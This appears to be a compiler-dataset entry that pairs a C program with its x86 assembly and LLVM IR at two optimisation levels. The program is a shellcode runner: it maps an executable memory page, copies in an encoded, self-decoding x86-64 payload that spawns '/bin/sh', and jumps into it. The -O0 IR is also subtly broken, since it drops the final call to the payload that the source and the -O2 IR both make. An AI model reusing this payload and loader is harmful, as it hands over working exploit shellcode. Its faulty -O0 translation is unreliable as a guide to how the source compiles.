#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */

/* Variables and functions */
int /*<<< orphan*/ EXIT_FAILURE;
int MAP_ANONYMOUS;
void *MAP_FAILED;
int MAP_PRIVATE;
int PROT_EXEC;
int PROT_READ;
int PROT_WRITE;
int /*<<< orphan*/ errno;
int /*<<< orphan*/ exit(int /*<<< orphan*/);
int /*<<< orphan*/ fprintf(int /*<<< orphan*/, char *, char *);
int /*<<< orphan*/ memcpy(void *, char *, int);
void *mmap(int /*<<< orphan*/ *, int, int, int, int, int /*<<< orphan*/);
int /*<<< orphan*/ stderr;
char *strerror(int /*<<< orphan*/);
int main(int argc, char *argv[]) {
  void (*f)(void);
  void *addr;
  addr = mmap(NULL, 1024, PROT_READ | PROT_WRITE | PROT_EXEC,
              MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  if (addr == MAP_FAILED) {
    fprintf(stderr, "Error mmap(): %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }
  memcpy(addr,
         "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xc9\xb2\x22\xeb"
         "\x1c\x5e\x48\x31\xc0\xb0\xff\x2a\x04\x0e\x48\x31\xd2\x38\xd0"
         "\x74\x03\x88\x04\x0e\x48\xff\xc1\x38\xd1\x74\x07\xeb\xe5\xe8"
         "\xdf\xff\xff\xff\x14\xec\xb7\xce\x3f\xb7\x7c\x3f\xc4\xa0\x77"
         "\x98\xf8\xb7\xce\x09\xb7\xce\x2d\xf0\xfa\x17\x17\xff\xff\xff"
         "\xd0\x9d\x96\x91\xd0\x8c\x97\xb1",
         sizeof("\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xc9\xb2\x22\xeb"
                "\x1c\x5e\x48\x31\xc0\xb0\xff\x2a\x04\x0e\x48\x31\xd2\x38\xd0"
                "\x74\x03\x88\x04\x0e\x48\xff\xc1\x38\xd1\x74\x07\xeb\xe5\xe8"
                "\xdf\xff\xff\xff\x14\xec\xb7\xce\x3f\xb7\x7c\x3f\xc4\xa0\x77"
                "\x98\xf8\xb7\xce\x09\xb7\xce\x2d\xf0\xfa\x17\x17\xff\xff\xff"
                "\xd0\x9d\x96\x91\xd0\x8c\x97\xb1"));
  f = addr;
  f();
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x30,%rsp
mov    %edi,-0x4(%rbp)
mov    %rsi,-0x10(%rbp)
mov    0x2e92(%rip),%rax
mov    (%rax),%edx
mov    0x2e41(%rip),%rax
or     (%rax),%edx
mov    0x2e60(%rip),%rax
or     (%rax),%edx
mov    0x2e27(%rip),%rax
mov    (%rax),%ecx
mov    0x2e56(%rip),%rax
or     (%rax),%ecx
xor    %eax,%eax
mov    %eax,%edi
mov    $0x400,%esi
mov    $0xffffffff,%r8d
xor    %r9d,%r9d
call   1030 <mmap@plt>
mov    %rax,-0x20(%rbp)
mov    -0x20(%rbp),%rax
mov    0x2dee(%rip),%rcx
cmp    (%rcx),%rax
jne    11f5 <main+0xa5>
mov    0x2e06(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x24(%rbp)
mov    0x2df2(%rip),%rax
mov    (%rax),%edi
call   1070 <strerror@plt>
mov    -0x24(%rbp),%edi
mov    %rax,%rdx
lea    0xe1e(%rip),%rsi
call   1040 <fprintf@plt>
mov    0x2dca(%rip),%rax
mov    (%rax),%edi
call   1060 <exit@plt>
mov    -0x20(%rbp),%rdi
lea    0xe12(%rip),%rsi
mov    $0x54,%edx
call   1050 <memcpy@plt>
mov    -0x20(%rbp),%rax
mov    %rax,-0x18(%rbp)
call   *-0x18(%rbp)
xor    %eax,%eax
add    $0x30,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbx
mov    0x2ea0(%rip),%rax
mov    0x2e51(%rip),%rcx
mov    (%rcx),%edx
or     (%rax),%edx
mov    0x2e6e(%rip),%rax
or     (%rax),%edx
mov    0x2e35(%rip),%rax
mov    0x2e66(%rip),%rcx
mov    (%rcx),%ecx
or     (%rax),%ecx
xor    %edi,%edi
mov    $0x400,%esi
mov    $0xffffffff,%r8d
xor    %r9d,%r9d
call   1030 <mmap@plt>
mov    %rax,%rbx
mov    0x2e03(%rip),%rax
cmp    (%rax),%rbx
je     11bc <main+0x6c>
lea    0xe69(%rip),%rsi
mov    %rbx,%rdi
mov    $0x54,%edx
call   1050 <memcpy@plt>
call   *%rbx
xor    %eax,%eax
pop    %rbx
ret
mov    0x2e05(%rip),%rax
mov    (%rax),%ebx
mov    0x2df4(%rip),%rax
mov    (%rax),%edi
call   1070 <strerror@plt>
lea    0xe26(%rip),%rsi
mov    %ebx,%edi
mov    %rax,%rdx
call   1040 <fprintf@plt>
mov    0x2dcd(%rip),%rax
mov    (%rax),%edi
call   1060 <exit@plt>

LLVM IR (-O0):
@PROT_READ = global i32 0
@PROT_WRITE = global i32 0
@PROT_EXEC = global i32 0
@MAP_PRIVATE = global i32 0
@MAP_ANONYMOUS = global i32 0
@MAP_FAILED = global i8* null
@stderr = global i32 0
@.str = [18 x i8] c"Error mmap(): %s\0A\00"
@errno = global i32 0
@EXIT_FAILURE = global i32 0
@.str.1 = [84 x i8] c"H1\C0H1\FFH1\F6H1\C9\B2\22\EB\1C^H1\C0\B0\FF*\04\0EH1\D28\D0t\03\88\04\0EH\FF\C18\D1t\07\EB\E5\E8\DF\FF\FF\FF\14\EC\B7\CE?\B7|?\C4\A0w\98\F8\B7\CE\09\B7\CE-\F0\FA\17\17\FF\FF\FF\D0\9D\96\91\D0\8C\97\B1\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i8**
%5 = alloca void ()*
%6 = alloca i8*
store i32 %0, i32* %3
store i8** %1, i8*** %4
%7 = load i32, i32* @PROT_READ
%8 = load i32, i32* @PROT_WRITE
%9 = or i32 %7, %8
%10 = load i32, i32* @PROT_EXEC
%11 = or i32 %9, %10
%12 = load i32, i32* @MAP_PRIVATE
%13 = load i32, i32* @MAP_ANONYMOUS
%14 = or i32 %12, %13
%15 = call i8* @mmap(i32* null, i32 1024, i32 %11, i32 %14, i32 -1, i32 0)
store i8* %15, i8** %6
%16 = load i8*, i8** %6
%17 = load i8*, i8** @MAP_FAILED
%18 = icmp eq i8* %16, %17
br i1 %18, label %19, label %26
19: ; preds = %2
%20 = load i32, i32* @stderr
%21 = load i32, i32* @errno
%22 = call i8* @strerror(i32 %21)
%23 = call i32 @fprintf(i32 %20, i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str, i64 0, i64 0), i8* %22)
%24 = load i32, i32* @EXIT_FAILURE
%25 = call i32 @exit(i32 %24)
unreachable
26: ; preds = %2
%27 = load i8*, i8** %6
%28 = call i32 @memcpy(i8* %27, i8* getelementptr inbounds ([84 x i8], [84 x i8]* @.str.1, i64 0, i64 0), i32 84)
%29 = load i8*, i8** %6
%30 = bitcast i8* %29 to void ()*
store void ()* %30, void ()** %5
%31 = load void ()*, void ()** %5
ret i32 0
}

LLVM IR (-O2):
@PROT_READ = global i32 0
@PROT_WRITE = global i32 0
@PROT_EXEC = global i32 0
@MAP_PRIVATE = global i32 0
@MAP_ANONYMOUS = global i32 0
@MAP_FAILED = global i8* null
@stderr = global i32 0
@.str = [18 x i8] c"Error mmap(): %s\0A\00"
@errno = global i32 0
@EXIT_FAILURE = global i32 0
@.str.1 = [84 x i8] c"H1\C0H1\FFH1\F6H1\C9\B2\22\EB\1C^H1\C0\B0\FF*\04\0EH1\D28\D0t\03\88\04\0EH\FF\C18\D1t\07\EB\E5\E8\DF\FF\FF\FF\14\EC\B7\CE?\B7|?\C4\A0w\98\F8\B7\CE\09\B7\CE-\F0\FA\17\17\FF\FF\FF\D0\9D\96\91\D0\8C\97\B1\00"
define i32 @main(i32 %0, i8** nocapture readnone %1) {
%3 = load i32, i32* @PROT_READ
%4 = load i32, i32* @PROT_WRITE
%5 = or i32 %4, %3
%6 = load i32, i32* @PROT_EXEC
%7 = or i32 %5, %6
%8 = load i32, i32* @MAP_PRIVATE
%9 = load i32, i32* @MAP_ANONYMOUS
%10 = or i32 %9, %8
%11 = tail call i8* @mmap(i32* null, i32 1024, i32 %7, i32 %10, i32 -1, i32 0)
%12 = load i8*, i8** @MAP_FAILED
%13 = icmp eq i8* %11, %12
br i1 %13, label %14, label %21
14: ; preds = %2
%15 = load i32, i32* @stderr
%16 = load i32, i32* @errno
%17 = tail call i8* @strerror(i32 %16)
%18 = tail call i32 @fprintf(i32 %15, i8* getelementptr inbounds ([18 x i8], [18 x i8]* @.str, i64 0, i64 0), i8* %17)
%19 = load i32, i32* @EXIT_FAILURE
%20 = tail call i32 @exit(i32 %19)
unreachable
21: ; preds = %2
%22 = tail call i32 @memcpy(i8* %11, i8* getelementptr inbounds ([84 x i8], [84 x i8]* @.str.1, i64 0, i64 0), i32 84)
%23 = bitcast i8* %11 to void ()*
tail call void %23()
ret i32 0
}